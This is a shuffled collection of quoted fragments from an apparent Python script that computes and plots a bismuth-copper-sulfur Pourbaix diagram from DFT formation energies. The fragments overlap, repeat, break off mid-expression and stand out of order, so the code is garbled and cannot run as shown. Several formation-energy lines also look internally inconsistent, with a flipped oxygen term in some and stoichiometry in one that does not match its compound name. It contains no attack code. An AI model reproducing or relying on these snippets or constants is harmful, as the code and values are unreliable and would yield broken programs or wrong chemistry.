"current_H=R*T*np.log(10.0)*pH*(species[s,2]) current_H2O=dGf_H2O*(species[s,6]) current_aquI=R*T*np.log(nI)*(species[s,7]) current_NumEle=1 for t in range(3,6): if(species[s,t]>1): current_NumEle=current_NumEle*species[s,t]; current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); if(current_mu<muValues[i,j,3]): sort[0,0]=p",
"species[47,6]=0 species[48,6]=0 species[49,6]=0 species[50,6]=0 species[51,6]=12 species[52,6]=0 species[53,6]=4 #BiSO species[54,6]=0 species[55,6]=0 species[56,6]=1 species[57,6]=12 species[58,6]=1",
"graph #n=input(\"Enter the mesh grid detail you want, suggested (30-140): \") n=30; #Constants",
"if((species[k, 3]>0 or species[m, 3] >0 or species[p, 3]) \\ and (species[k, 4]>0",
"species[34,1]=6 species[35,1]=6 species[36,1]=10 species[37,1]=4 species[38,1]=4 species[39,1]=4 species[40,1]=10 species[41,1]=6 species[42,1]=6 species[43,1]=6 species[44,1]=14 species[45,1]=8 species[46,1]=8",
"############# CONVERT from eV to kJ/mol #################################### ############################################################################### dGf_Cu= dGf_Cu*F; dGf_CuO= dGf_CuO*F; dGf_Cu2O=",
"#### Determine which species are able to combine at the composition ########### ###############################################################################",
"-40.1344765; Ee_Bi2O4=-36.7221975; Ee_Bi4O7=-68.40888; #PBEsol Ee_Cu=-4.3152965; Ee_CuO=-10.7488868; Ee_Cu2O=-14.99698; Ee_CuOH2_s=-25.1916025; #PBEsol Ee_O2=-10.281123 Ee_H2=-6.5141508 Ee_S= -4.391811875;",
"species[6,2]=2 species[7,2]=3 species[8,2]=1 species[9,2]=2 species[10,2]=1 species[11,2]=2 species[12,2]=4 #Bi species[13,2]=0 species[14,2]=6 species[15,2]=10 species[16,2]=8 species[17,2]=14",
"k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,1]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the",
"3, 0]=species[k,2] combos[combo_num, 3, 1]=species[m,2] combos[combo_num, 3, 2]=species[p,2] #Number Silvers combos[combo_num, 4, 0]=species[k,3]",
"plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') ############################################################################### ############## Plot",
"three are the colors index=0; fig =plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh])",
"species[62,2]=0 #BiCuSO species[63,2]=2 species[64,2]=0 ########### Number of Coppers Cu ############################################## #Cu species[0,3]=1 species[1,3]=1",
"eV/f.u. dGf_CuO= (Ee_CuO+Fvib_CuO) -(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O) -2.0*(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_CuOH2_s= (Ee_CuOH2_s+Fvib_CuOH2_s) -(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H);",
"species are able to combine at the composition ########### ############################################################################### t=1 flag=1 f_total=int;",
"the if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1] and \\ ((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2] and \\ ((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]): #save the composition f[0]=h f[1]=i",
"and flag[k,1]==muValues[i,j,1] and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is",
"#PBEsol with SOC Ee_Bi= -5.114928333; Ee_Bi2O3= -31.163316; Ee_Bi2O5= -40.1344765; Ee_Bi2O4=-36.7221975; Ee_Bi4O7=-68.40888; #PBEsol Ee_Cu=-4.3152965;",
"Fvib_BiSCuO=-0.039894146059 Fvib_Cu3BiS3=-0.1661179102334 Fvib_Cu4Bi4S9=-0.3270592722135 Fvib_Cu4BiS2_5=-0.430548296696 Fvib_CuBiS2=-0.08663072302 ############################################################################### ### Compounds-Calculate the formation energies ############################ ###############################################################################",
"species[36,4]=0 species[37,4]=0 species[38,4]=0 species[39,4]=0 species[40,4]=0 species[41,4]=0 species[42,4]=0 species[43,4]=0 species[44,4]=0 species[45,4]=0 species[46,4]=0 #CuSBiO species[47,4]=0",
"to see if each species contains a single element. This is a really",
"\\ (species[k, 5]==0 and species[p, 5] ==0)): flag=0 #if so, find the composition",
"species[6,6]=2 species[7,6]=3 species[8,6]=1 species[9,6]=2 species[10,6]=1 species[11,6]=2 species[12,6]=4 #Bi species[13,6]=0 species[14,6]=3 species[15,6]=5 species[16,6]=4 species[17,6]=7",
"This is a really long call. flag=1 if((species[k, 3]==0 and species[m, 3] ==0)",
"#populate with smaller values that will be calculated. muValues=np.zeros((n+1,n+1,4)) current_mu=int current_ele=int current_H=int current_H2O=int",
"combos[combo_num, 7, 2]=species[p,6] #Percent of each in species in final combo f_total=f[0]+f[1]+f[2]; combos[combo_num,",
"pHrange = int; pHrange = highpH-lowpH; pHcount = pHrange/n; #used to iterate through",
"species[22,6]=0 species[23,6]=0 species[24,6]=0 species[25,6]=0 species[26,6]=0 species[27,6]=0 species[28,6]=0 species[29,6]=3 species[30,6]=3 species[31,6]=3 species[32,6]=6 species[33,6]=6 species[34,6]=4",
"ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) l=0; index=0; for i in range(0, n+1): pH=lowpH+i*pHcount;",
"0]=species[k,5] combos[combo_num, 6, 1]=species[m,5] combos[combo_num, 6, 2]=species[p,5] #Aqueous Ions combos[combo_num, 7, 0]=species[k,6] combos[combo_num,",
"3]==0 and species[m, 3] ==0) or \\ (species[m, 3]==0 and species[p, 3] ==0)",
"species[59,7]=0 #CuBiS species[60,7]=0 species[61,7]=0 species[62,7]=0 #BiCuSO species[63,7]=0 species[64,7]=0 #Function to determine species combinations",
"dGf_BiCu=dGf_BiCu*F; dGf_CuBiO2_2=dGf_CuBiO2_2*F; dGf_BiS2=dGf_BiS2*F; dGf_Bi2S3=dGf_Bi2S3*F; dGf_Bi2S2O=dGf_Bi2S2O*F; dGf_Bi2SO4_3=dGf_Bi2SO4_3*F; dGf_Bi14OS24=dGf_Bi14OS24*F; dGf_Bi2SO2=dGf_Bi2SO2*F; dGf_BiSCuO=dGf_BiSCuO*F; dGf_Cu3BiS3=dGf_Cu3BiS3*F; dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F; dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F; dGf_CuBiS2=dGf_CuBiS2*F;",
"4], species[p,4]], \\ [species[k, 5],species[m, 5], species[p,5]]]) #check to see if each species",
"$\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') chartBox=ax.get_position() ax.set_position([chartBox.x0, chartBox.y0, chartBox.width*1.5, chartBox.height*1.5]) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1)",
"################### Plot Pourbaix Diagram ################################### ############################################################################### flag = np.zeros((50,6)) # The first 4",
"highpH-lowpH; pHcount = pHrange/n; #used to iterate through pH range #Applied Potential Range",
"species[p, 5])): #save species in array t=1 a = np.array([[species[k, 3],species[m, 3], species[p,3]],",
"species[p, 4]) \\ and (species[k, 5]>0 or species[m, 5] >0 or species[p, 5])):",
"############################################################################### ############################################################################### ############################################################################### ################### Plot Pourbaix Diagram ################################### ############################################################################### flag = np.zeros((50,6)) #",
"f_total=f[0]+f[1]+f[2]; combos[combo_num, 8, 0]=f[0]/f_total combos[combo_num, 8, 1]=f[1]/f_total combos[combo_num, 8, 2]=f[2]/f_total combo_num=combo_num+1; t=1 #print('entered')",
"############################################################################### ############### Populate the species matrix ################################ ############################################################################### species=np.zeros((65,8)) ######## Formation Energies ###################################################",
"dGf_Cu*F; dGf_CuO= dGf_CuO*F; dGf_Cu2O= dGf_Cu2O*F; dGf_Cu1= dGf_Cu1*F; dGf_Cu2= dGf_Cu2*F; dGf_CuOH4_2= dGf_CuOH4_2*F; dGf_CuOH2_minus= dGf_CuOH2_minus*F;",
"species[45,3]=0 species[46,3]=0 #CuBiSO species[47,3]=2 species[48,3]=7 species[49,3]=1 species[50,3]=1 species[51,3]=2 species[52,3]=1 species[53,3]=1 #BiSO species[54,3]=0 species[55,3]=0",
"dGf_CuOH2_minus= -3.4518209 dGf_CuOH3= -5.1197432 dGf_CuOH_Plus= -1.3127387 dGf_CuOH4_2=-6.814302 dGf_CuOH2= -3.2666113 dGf_CuOH = -1.2677578 dGf_Cu2OH2_2plus=-2.942417",
"species[37,1]=4 species[38,1]=4 species[39,1]=4 species[40,1]=10 species[41,1]=6 species[42,1]=6 species[43,1]=6 species[44,1]=14 species[45,1]=8 species[46,1]=8 #CuSOBi species[47,1]=0 species[48,1]=0",
"species[m, 5] ==0) or \\ (species[m, 5]==0 and species[p, 5] ==0) or \\",
"ax.set_ylim([Ulow,Uhigh]) l=0; index=0; for i in range(0, n+1): pH=lowpH+i*pHcount; for j in range(0,n+1):",
"species[55,4]=2 species[56,4]=2 species[57,4]=2 species[58,4]=14 species[59,4]=2 #CuBiS species[60,4]=1 species[61,4]=4 species[62,4]=5 #BiCuSO species[63,4]=1 species[64,4]=1 ###########",
"species[49,5]=1 species[50,5]=2 species[51,5]=3 species[52,5]=0 species[53,5]=0 #BiSO species[54,5]=2 species[55,5]=3 species[56,5]=2 species[57,5]=3 species[58,5]=24 species[59,5]=1 #CuBiS",
"if(flag==1): #test each linear combination for h in range(1, 20): for i in",
"species[38,7]=1 species[39,7]=1 species[40,7]=1 species[41,7]=1 species[42,7]=1 species[43,7]=1 species[44,7]=1 species[45,7]=1 species[46,7]=1 #CuSBiO species[47,7]=0 species[48,7]=0 species[49,7]=0",
"1]=species[m,4] combos[combo_num, 5, 2]=species[p,4] #Number H2O combos[combo_num, 6, 0]=species[k,5] combos[combo_num, 6, 1]=species[m,5] combos[combo_num,",
"SOC Ee_Bi= -5.114928333; Ee_Bi2O3= -31.163316; Ee_Bi2O5= -40.1344765; Ee_Bi2O4=-36.7221975; Ee_Bi4O7=-68.40888; #PBEsol Ee_Cu=-4.3152965; Ee_CuO=-10.7488868; Ee_Cu2O=-14.99698;",
"species number pH=lowpH+(i*pHcount); for j in range(0,n+1): U=Ulow+(j*Ucount); muValues[i,j,0]=-1 muValues[i,j,1]=-1 muValues[i,j,2]=-1 muValues[i,j,3]=100000000 #Go",
"= muValues[i,j,0] flag[index,1] = muValues[i,j,1] flag[index,2] = muValues[i,j,2] flag[index,3] = random.random(); flag[index,4] =",
"species[p, 3]) \\ and (species[k, 4]>0 or species[m, 4] >0 or species[p, 4])",
"ncol=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') ############################################################################### ##############",
"so, find the composition though linear algebra. try: f=np.linalg.solve(a, composition) except: #print('Error: Species",
"#Copper species[0,7]=0 species[1,7]=0 species[2,7]=0 species[3,7]=1 species[4,7]=1 species[5,7]=1 species[6,7]=1 species[7,7]=1 species[8,7]=1 species[9,7]=1 species[10,7]=1 species[11,7]=1",
"species[8,5]=0 species[9,5]=0 species[10,5]=0 species[11,5]=0 species[12,5]=0 #Bismuth species[13,5]=0 species[14,5]=0 species[15,5]=0 species[16,5]=0 species[17,5]=0 species[18,5]=0 species[19,5]=0",
"dGf_BiO_Plus*F; dGf_S= dGf_S*F; dGf_H2S=dGf_H2S*F; dGf_HS_Minus=dGf_HS_Minus*F; dGf_S_2Minus=dGf_S_2Minus*F; dGf_S2_2Minus=dGf_S2_2Minus*F; dGf_S3_2Minus=dGf_S3_2Minus*F; dGf_S4_2Minus=dGf_S4_2Minus*F; dGf_S5_2Minus=dGf_S5_2Minus*F; dGf_H2S2O3=dGf_H2S2O3*F; dGf_HS2O3_Minus=dGf_HS2O3_Minus*F; dGf_S2O3_2Minus=dGf_S2O3_2Minus*F;",
"n=30; #Constants R=8.31447; #kJ/(mol*K) T=298.15; #K F= 9.648533*10**4; #kJ/(V*mol) P=1; #bar, 10^5*Pa eta=6",
"species[49,2]=0 species[50,2]=0 species[51,2]=24 species[52,2]=0 species[53,2]=8 #BiSO species[54,2]=0 species[55,2]=0 species[56,2]=2 species[57,2]=24 species[58,2]=2 species[59,2]=4 #BiCuS",
"species[32,3]=0 species[33,3]=0 species[34,3]=0 species[35,3]=0 species[36,3]=0 species[37,3]=0 species[38,3]=0 species[39,3]=0 species[40,3]=0 species[41,3]=0 species[42,3]=0 species[43,3]=0 species[44,3]=0",
"species[51,7]=0 species[52,7]=0 species[53,7]=0 #BiSO species[54,7]=0 species[55,7]=0 species[56,7]=0 species[57,7]=0 species[58,7]=0 species[59,7]=0 #CuBiS species[60,7]=0 species[61,7]=0",
"#Activity Concentration #Array showing the composition of Cu:Bi:S composition=np.array([1,1,1]) #pH Range and Constants",
"species[51,5]=3 species[52,5]=0 species[53,5]=0 #BiSO species[54,5]=2 species[55,5]=3 species[56,5]=2 species[57,5]=3 species[58,5]=24 species[59,5]=1 #CuBiS species[60,5]=2 species[61,5]=9",
"\\ (species[k, 3]==0 and species[p, 3] ==0)): if((species[k, 4]==0 and species[m, 4] ==0)",
"########### Number of Coppers Cu ############################################## #Cu species[0,3]=1 species[1,3]=1 species[2,3]=2 species[3,3]=1 species[4,3]=1 species[5,3]=1",
"combination if(flag==1): #test each linear combination for h in range(1, 20): for i",
"species[59,1]=4 #CuBiS species[60,1]=0 species[61,1]=0 species[62,1]=0 #BiCuSO species[63,1]=2 species[64,1]=0 ######## Hydrogen H+ Count ####################################################",
"range(0, n+1): #calculate the energies for each species number pH=lowpH+(i*pHcount); for j in",
"dGf_BiOH_2Plus*F; dGf_BiO_Plus= dGf_BiO_Plus*F; dGf_S= dGf_S*F; dGf_H2S=dGf_H2S*F; dGf_HS_Minus=dGf_HS_Minus*F; dGf_S_2Minus=dGf_S_2Minus*F; dGf_S2_2Minus=dGf_S2_2Minus*F; dGf_S3_2Minus=dGf_S3_2Minus*F; dGf_S4_2Minus=dGf_S4_2Minus*F; dGf_S5_2Minus=dGf_S5_2Minus*F; dGf_H2S2O3=dGf_H2S2O3*F;",
"combos[combo_num, 6, 1]=species[m,5] combos[combo_num, 6, 2]=species[p,5] #Aqueous Ions combos[combo_num, 7, 0]=species[k,6] combos[combo_num, 7,",
"in range(0, pHrange): pHArray[i] =lowpH+i; muH[i]=-0.059*pHArray[i]; muH2O[i]=1.23-0.059*pHArray[i]; pHArray[pHrange] =lowpH+(pHrange); muH[pHrange]=-0.059*pHArray[pHrange]; muH2O[pHrange]=1.23-0.059*pHArray[pHrange]; ############################################################## ax.plot(pHArray[:],",
"dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24) -14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2) -2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2); dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3) -3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9) -4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S); dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S);",
"species[25,1]=-2 species[26,1]=-2 species[27,1]=-2 species[28,1]=-2 species[29,1]=4 species[30,1]=4 species[31,1]=4 species[32,1]=10 species[33,1]=10 species[34,1]=6 species[35,1]=6 species[36,1]=10 species[37,1]=4",
"#PBEsol Ee_O2=-10.281123 Ee_H2=-6.5141508 Ee_S= -4.391811875; ############################################################################### ########### MULTICOMPONENT SPECIES ############################################ #Calculated with PBEsol",
"want in your graph #n=input(\"Enter the mesh grid detail you want, suggested (30-140):",
"through U (energy) range ############################################################################### ######################## DFT CALCULATIONS ##################################### ############################################################################### #Electronic Energies in",
"3],species[m, 3], species[p,3]], \\ [species[k, 4],species[m, 4], species[p,4]], \\ [species[k, 5],species[m, 5], species[p,5]]])",
"indexes are the materials stored, the next three are the colors index=0; fig",
"Fvib_Cu2S=-0.0050937891364 Fvib_Cu7S4=-0.178002185722 Fvib_CuS=-0.0119849701814 Fvib_CuS2=-0.0033060080158 Fvib_Cu2SO4_3=1.00135494361 Fvib_BiCu=-0.11006963132 Fvib_CuBiO2_2=0.09853363658 Fvib_BiS2=-0.063943629448 Fvib_Bi2S3=-0.1428187610337 Fvib_Bi2S2O=-0.08193190191 Fvib_Bi2SO4_3=0.81266278392 Fvib_Bi14OS24=0.02990373431 Fvib_Bi2SO2=-0.0265520338422",
"species[50,2]=0 species[51,2]=24 species[52,2]=0 species[53,2]=8 #BiSO species[54,2]=0 species[55,2]=0 species[56,2]=2 species[57,2]=24 species[58,2]=2 species[59,2]=4 #BiCuS species[60,2]=0",
"combo_num=int(num[0]) except OSError: print('Cannot Open File') ############################################################################### #### Determine which species are able",
"in species in final combo f_total=f[0]+f[1]+f[2]; combos[combo_num, 8, 0]=f[0]/f_total combos[combo_num, 8, 1]=f[1]/f_total combos[combo_num,",
"\\ (species[k, 4]==0 and species[p, 4] ==0)): if((species[k, 5]==0 and species[m, 5] ==0)",
"is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break",
"species[10,0]=dGf_CuOH species[11,0]=dGf_Cu2OH2_2plus species[12,0]=dGf_Cu3OH4_2plus species[13,0]=dGf_Bi species[14,0]=dGf_Bi2O3 species[15,0]=dGf_Bi2O5 species[16,0]=dGf_Bi2O4 species[17,0]=dGf_Bi4O7 species[18,0]=dGf_Bi_3Plus species[19,0]=dGf_BiOH_2Plus species[20,0]=dGf_BiO_Plus species[21,0]=dGf_S species[22,0]=dGf_H2S",
"species[11,2]=2 species[12,2]=4 #Bi species[13,2]=0 species[14,2]=6 species[15,2]=10 species[16,2]=8 species[17,2]=14 species[18,2]=0 species[19,2]=1 species[20,2]=2 #S species[21,2]=0",
"[0.0,0.0,0.0],markersize=2) elif((muValues[i,j,2]!=muValues[i,j-1,2]) or (muValues[i,j,2]!=muValues[i-1,j,2])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) ax.plot(pHArray[:], muH[:],'c--',label='$H_2$',linewidth=1) ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1)",
"==0) or \\ (species[m, 5]==0 and species[p, 5] ==0) or \\ (species[k, 5]==0",
"dGf_CuOH3= -5.1197432 dGf_CuOH_Plus= -1.3127387 dGf_CuOH4_2=-6.814302 dGf_CuOH2= -3.2666113 dGf_CuOH = -1.2677578 dGf_Cu2OH2_2plus=-2.942417 dGf_Cu3OH4_2plus=-6.567839 #Elemental",
"H2 lines################################## muH=np.zeros((pHrange+1)); muH2O=np.zeros((pHrange+1)); pHArray=np.zeros((pHrange+1)); for i in range(0, pHrange): pHArray[i] =lowpH+i; muH[i]=-0.059*pHArray[i];",
"\\ (species[m, 5]==0 and species[p, 5] ==0) or \\ (species[k, 5]==0 and species[p,",
"combos[combo_num, 5, 1]=species[m,4] combos[combo_num, 5, 2]=species[p,4] #Number H2O combos[combo_num, 6, 0]=species[k,5] combos[combo_num, 6,",
"species[62,4]=5 #BiCuSO species[63,4]=1 species[64,4]=1 ########### Number of Sulphurs S ############################################# #Coppers species[0,5]=0 species[1,5]=0",
"dGf_CuS=dGf_CuS*F; dGf_CuS2=dGf_CuS2*F; dGf_Cu2SO4_3=dGf_Cu2SO4_3*F; dGf_BiCu=dGf_BiCu*F; dGf_CuBiO2_2=dGf_CuBiO2_2*F; dGf_BiS2=dGf_BiS2*F; dGf_Bi2S3=dGf_Bi2S3*F; dGf_Bi2S2O=dGf_Bi2S2O*F; dGf_Bi2SO4_3=dGf_Bi2SO4_3*F; dGf_Bi14OS24=dGf_Bi14OS24*F; dGf_Bi2SO2=dGf_Bi2SO2*F; dGf_BiSCuO=dGf_BiSCuO*F; dGf_Cu3BiS3=dGf_Cu3BiS3*F;",
"-5.1197432 dGf_CuOH_Plus= -1.3127387 dGf_CuOH4_2=-6.814302 dGf_CuOH2= -3.2666113 dGf_CuOH = -1.2677578 dGf_Cu2OH2_2plus=-2.942417 dGf_Cu3OH4_2plus=-6.567839 #Elemental Sulphur",
"20): for j in range(1, 20): #Is there a linear combination of the",
"dGf_S4_2Minus=dGf_S4_2Minus*F; dGf_S5_2Minus=dGf_S5_2Minus*F; dGf_H2S2O3=dGf_H2S2O3*F; dGf_HS2O3_Minus=dGf_HS2O3_Minus*F; dGf_S2O3_2Minus=dGf_S2O3_2Minus*F; dGf_S5O6_2Minus=dGf_S5O6_2Minus*F; dGf_S4O6_2Minus=dGf_S4O6_2Minus*F; dGf_HS2O4_Minus=dGf_HS2O4_Minus*F; dGf_S2O4_2Minus=dGf_S2O4_2Minus*F; dGf_S3O6_2Minus=dGf_S3O6_2Minus*F; dGf_H2SO3=dGf_H2SO3*F; dGf_HSO3_Minus=dGf_HSO3_Minus*F; dGf_SO3_2Minus=dGf_SO3_2Minus*F;",
"#BiCuSO species[63,5]=1 species[64,5]=3 ######### Number of H2O's ##################################################### #Copper species[0,6]=0 species[1,6]=1 species[2,6]=1 species[3,6]=0",
"R=8.31447; #kJ/(mol*K) T=298.15; #K F= 9.648533*10**4; #kJ/(V*mol) P=1; #bar, 10^5*Pa eta=6 nI=10**-eta; #Activity",
"#Bi species[13,1]=0 species[14,1]=6 species[15,1]=10 species[16,1]=8 species[17,1]=14 species[18,1]=3 species[19,1]=3 species[20,1]=3 #S species[21,1]=0 species[22,1]=-2 species[23,1]=-2",
"species[33,4]=0 species[34,4]=0 species[35,4]=0 species[36,4]=0 species[37,4]=0 species[38,4]=0 species[39,4]=0 species[40,4]=0 species[41,4]=0 species[42,4]=0 species[43,4]=0 species[44,4]=0 species[45,4]=0",
"species[35,4]=0 species[36,4]=0 species[37,4]=0 species[38,4]=0 species[39,4]=0 species[40,4]=0 species[41,4]=0 species[42,4]=0 species[43,4]=0 species[44,4]=0 species[45,4]=0 species[46,4]=0 #CuSBiO",
"species[11,3]=2 species[12,3]=3 #Bismuth and Sulphur species[13,3]=0 species[14,3]=0 species[15,3]=0 species[16,3]=0 species[17,3]=0 species[18,3]=0 species[19,3]=0 species[20,3]=0",
"[flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,0]):",
"[flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,1]and flag[k,2]==muValues[i,j,0]):",
"-14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2) -2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2); dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Cu3BiS3=(Ee_Cu3BiS3+Fvib_Cu3BiS3) -3*(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Cu4Bi4S9=(Ee_Cu4Bi4S9+Fvib_Cu4Bi4S9) -4*(Ee_Cu+Fvib_Cu)-4*(Ee_Bi+Fvib_Bi)-9*(Ee_S+Fvib_S); dGf_Cu4BiS2_5=(Ee_Cu4BiS2_5+Fvib_Cu4BiS2_5)-4*(Ee_Cu+Fvib_Cu)-5*(Ee_Bi+Fvib_Bi)-10*(Ee_S+Fvib_S); dGf_CuBiS2=(Ee_CuBiS2+Fvib_CuBiS2) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); #Set",
"current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); if(current_mu<muValues[i,j,3]): sort[0,0]=p sort[1,0]=m sort[2,0]=s a=np.sort(sort[:,0]) muValues[i,j,0]=a[0] muValues[i,j,1]=a[1] muValues[i,j,2]=a[2] muValues[i,j,3]=current_mu ############################################################################### ############################################################################### ###############################################################################",
"dGf_Bi2O3= ((Ee_Bi2O3)+Fvib_Bi2O3) -2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2); dGf_Bi2O5= ((Ee_Bi2O5)+Fvib_Bi2O5) -2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2); dGf_Bi2O4= ((Ee_Bi2O4)+Fvib_Bi2O4) -2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2); dGf_Bi4O7= ((Ee_Bi4O7)+Fvib_Bi4O7) -4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2); dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S)",
"Energies in eV/f.u. #PBEsol with SOC Ee_Bi= -5.114928333; Ee_Bi2O3= -31.163316; Ee_Bi2O5= -40.1344765; Ee_Bi2O4=-36.7221975;",
"Created on Mon Jul 23 13:17:41 2018 @author: laurenwalters \"\"\" import numpy as",
"values dGf_Cu=0.0; dGf_Bi=0.0; dGf_S=0.0; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############## Aqueous Ion Free Energies",
"current_NumEle=1 for t in range(3,6): if(species[m,t]>1): current_NumEle=current_NumEle*species[m,t]; current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to",
"is found k=len(flag)+1 l=1 if(l==0): label='M1: '+str(muValues[i,j,0])+', M2: '+str(muValues[i,j,1])+' M3: '+str(muValues[i,j,2]) flag[index,0] =",
"ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,0]!=muValues[i,j-1,0]) or (muValues[i,j,1]!=muValues[i,j-1,1])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,2]!=muValues[i,j-1,2]) or",
"species[5,1]=2 species[6,1]=1 species[7,1]=2 species[8,1]=2 species[9,1]=2 species[10,1]=1 species[11,1]=4 species[12,1]=6 #Bi species[13,1]=0 species[14,1]=6 species[15,1]=10 species[16,1]=8",
"element. This is a really long call. flag=1 if((species[k, 3]==0 and species[m, 3]",
"species combinations is '+ str(combo_num)+'.\\n') ############################################################################### ############################################################################### ############################################################################### ############################################################################### ########### Chemical Potential Mesh",
"combos[combo_num, 3, 0]=species[k,2] combos[combo_num, 3, 1]=species[m,2] combos[combo_num, 3, 2]=species[p,2] #Number Silvers combos[combo_num, 4,",
"and species[p, 4] ==0)): if((species[k, 5]==0 and species[m, 5] ==0) or \\ (species[m,",
"species[26,5]=3 species[27,5]=4 species[28,5]=5 species[29,5]=2 species[30,5]=2 species[31,5]=2 species[32,5]=5 species[33,5]=4 species[34,5]=2 species[35,5]=2 species[36,5]=3 species[37,5]=1 species[38,5]=1",
"species[7,3]=1 species[8,3]=1 species[9,3]=1 species[10,3]=1 species[11,3]=2 species[12,3]=3 #Bismuth and Sulphur species[13,3]=0 species[14,3]=0 species[15,3]=0 species[16,3]=0",
"= plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) #If drawing lines for metastable phases for i in",
"metastable phases if((muValues[i,j,0]!=muValues[i-1,j,0])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif(muValues[i,j,1]!=muValues[i-1,j,1]): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,0]!=muValues[i,j-1,0])",
"or species[m, 3] >0 or species[p, 3]) \\ and (species[k, 4]>0 or species[m,",
